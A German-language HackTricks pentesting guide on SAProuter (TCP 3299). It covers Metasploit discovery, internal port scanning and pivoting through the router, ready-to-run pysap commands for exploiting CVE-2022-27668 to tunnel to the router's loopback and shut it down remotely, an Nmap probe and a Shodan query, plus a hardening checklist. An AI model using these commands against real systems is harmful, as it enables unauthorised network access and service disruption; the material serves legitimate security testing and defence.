# 3299/tcp - Pentesting SAProuter

Reading time: 7 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks
text
PORT     STATE SERVICE    VERSION
3299/tcp open  saprouter?

Dies ist eine Zusammenfassung des Beitrags von https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/

Verständnis der SAProuter-Penetration mit Metasploit

SAProuter fungiert als Reverse-Proxy für SAP-Systeme, hauptsächlich um den Zugriff zwischen dem Internet und internen SAP-Netzwerken zu steuern. Es wird häufig dem Internet ausgesetzt, indem der TCP-Port 3299 durch die organisatorischen Firewalls erlaubt wird. Diese Konfiguration macht SAProuter zu einem attraktiven Ziel für Pentesting, da es als Gateway zu wertvollen internen Netzwerken dienen könnte.

Scannen und Informationssammlung

Zunächst wird ein Scan durchgeführt, um festzustellen, ob ein SAP-Router auf einer bestimmten IP läuft, indem das Modul sap_service_discovery verwendet wird. Dieser Schritt ist entscheidend, um die Präsenz eines SAP-Routers und seinen offenen Port festzustellen.

text
msf> use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
msf auxiliary(sap_service_discovery) > run

Nach der Entdeckung wird eine weitere Untersuchung der Konfiguration des SAP-Routers mit dem sap_router_info_request-Modul durchgeführt, um möglicherweise interne Netzwerkdetails offenzulegen.

text
msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
msf auxiliary(sap_router_info_request) > run

Auflisten interner Dienste

Mit den gewonnenen Einblicken in das interne Netzwerk wird das sap_router_portscanner-Modul verwendet, um interne Hosts und Dienste über den SAProuter zu scannen, was ein tieferes Verständnis der internen Netzwerke und Dienstkonfigurationen ermöglicht.

text
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
msf auxiliary(sap_router_portscanner) > set PORTS 32NN

Die Flexibilität dieses Moduls, spezifische SAP-Instanzen und Ports anzusprechen, macht es zu einem effektiven Werkzeug für eine detaillierte interne Netzwerkexploration.

Erweiterte Enumeration und ACL-Abbildung

Weiteres Scannen kann aufzeigen, wie die Access Control Lists (ACLs) auf dem SAProuter konfiguriert sind, und detaillieren, welche Verbindungen erlaubt oder blockiert sind. Diese Informationen sind entscheidend für das Verständnis von Sicherheitsrichtlinien und potenziellen Schwachstellen.

text
msf auxiliary(sap_router_portscanner) > set MODE TCP
msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN

Blind Enumeration von internen Hosts

In Szenarien, in denen direkte Informationen vom SAProuter begrenzt sind, können Techniken wie Blind Enumeration angewendet werden. Dieser Ansatz versucht, die Existenz interner Hostnamen zu erraten und zu überprüfen, wodurch potenzielle Ziele ohne direkte IP-Adressen offengelegt werden.

Nutzung von Informationen für Penetrationstests

Nachdem das Netzwerk kartiert und zugängliche Dienste identifiziert wurden, können Penetrationstester die Proxy-Funktionen von Metasploit nutzen, um über den SAProuter für weitere Erkundungen und Ausnutzung interner SAP-Dienste zu pivotieren.

text
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
msf auxiliary(sap_hostctrl_getcomputersystem) > run

Fazit

Dieser Ansatz unterstreicht die Bedeutung sicherer SAProuter-Konfigurationen und hebt das Potenzial hervor, über gezielte Penetrationstests auf interne Netzwerke zuzugreifen. Die ordnungsgemäße Sicherung von SAP-Routern und das Verständnis ihrer Rolle in der Netzwerksicherheitsarchitektur sind entscheidend, um sich gegen unbefugten Zugriff zu schützen.

Für detailliertere Informationen zu Metasploit-Modulen und deren Verwendung besuchen Sie Rapid7's database.


Aktuelle Schwachstellen (2022-2025)

CVE-2022-27668 – Unzureichende Zugriffskontrolle ➜ Remote Administrative Command Execution

Im Juni 2022 veröffentlichte SAP die Sicherheitsnotiz 3158375, die einen kritischen Fehler (CVSS 9.8) im SAProuter (alle Kerne ≥ 7.22) behandelt. Ein nicht authentifizierter Angreifer kann permissive saprouttab-Einträge ausnutzen, um Administrationspakete (z. B. shutdown, trace-level, connection-kill) von einem Remote-Host zu senden, selbst wenn der Router ohne die -X Remote-Admin-Option gestartet wurde.

Das Problem ergibt sich aus der Möglichkeit, einen Tunnel zur eigenen Loopback-Schnittstelle des Routers aufzubauen, indem die nicht spezifizierte Adresse 0.0.0.0 angegriffen wird. Sobald der Tunnel eingerichtet ist, erhält der Angreifer lokale Hostrechte und kann jeden Admin-Befehl ausführen.

Die praktische Ausnutzung kann mit dem pysap-Framework reproduziert werden:

bash
# 1. Build a loopback tunnel through the vulnerable SAProuter
python router_portfw.py -d <ROUTER_IP> -p 3299 \
-t 0.0.0.0    -r 3299 \
-a 127.0.0.1  -l 3299 -v

# 2. Send an admin packet (here: stop the remote router)
python router_admin.py -s -d 127.0.0.1 -p 3299

Betroffene Versionen

  • Stand-alone SAProuter 7.22 / 7.53
  • Kernel 7.49, 7.77, 7.81, 7.85–7.88 (inkl. KRNL64NUC/UC)

Behebung / Minderung

  1. Wenden Sie den mit SAP-Hinweis 3158375 gelieferten Patch an.
  2. Entfernen Sie Wildcard (*) Ziele aus den P und S Zeilen in saprouttab.
  3. Stellen Sie sicher, dass der Router ohne die -X Option gestartet wird und nicht direkt dem Internet ausgesetzt ist.

Aktualisierte Werkzeuge & Tricks

  • pysap – aktiv gepflegt und bietet router_portfw.py, router_admin.py & router_trace.py zum Erstellen benutzerdefinierter NI/Router-Pakete, Fuzzing von ACLs oder Automatisierung des CVE-2022-27668 Exploits.
  • Nmap – erweitern Sie die Dienstedetektion, indem Sie die benutzerdefinierte SAProuter-Abfrage hinzufügen:
text
Probe TCP SAProuter q|\x00\x00\x00\x00|
ports 3299
match saprouter m|SAProuter ([\d.]+)| p/SAProuter/ v/$1/

Kombinieren Sie dies mit NSE-Skripten oder --script=banner, um schnell Versionen zu identifizieren, die die Bannerzeichenfolge (SAProuter <ver> on '<host>') ausgeben.

  • Metasploit – die oben gezeigten Hilfsmodule funktionieren weiterhin über einen SOCKS- oder NI-Proxy, der mit pysap erstellt wurde, und ermöglichen eine vollständige Framework-Integration, selbst wenn der Router den direkten Zugriff blockiert.

Härtungs- & Erkennungs-Checkliste

  • Filtern Sie den Port 3299/TCP an der Perimeter-Firewall – erlauben Sie den Verkehr nur von vertrauenswürdigen SAP-Support-Netzwerken.
  • Halten Sie den SAProuter vollständig gepatcht; überprüfen Sie mit saprouter -v und vergleichen Sie mit dem neuesten Kernel-Patchlevel.
  • Verwenden Sie strikte, host-spezifische Einträge in saprouttab; vermeiden Sie * Wildcards und lehnen Sie P/S Regeln ab, die beliebige Hosts oder Ports anvisieren.
  • Starten Sie den Dienst mit -S <secudir> + SNC, um Verschlüsselung und gegenseitige Authentifizierung durchzusetzen.
  • Deaktivieren Sie die Remote-Verwaltung (-X) und binden Sie, wenn möglich, den Listener an 127.0.0.1, während Sie einen externen Reverse-Proxy für den erforderlichen Verkehr verwenden.
  • Überwachen Sie das dev_rout Protokoll auf verdächtige ROUTER_ADM Pakete oder unerwartete NI_ROUTE Anfragen an 0.0.0.0.

Referenzen

Shodan

  • port:3299 !HTTP Network packet too big

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks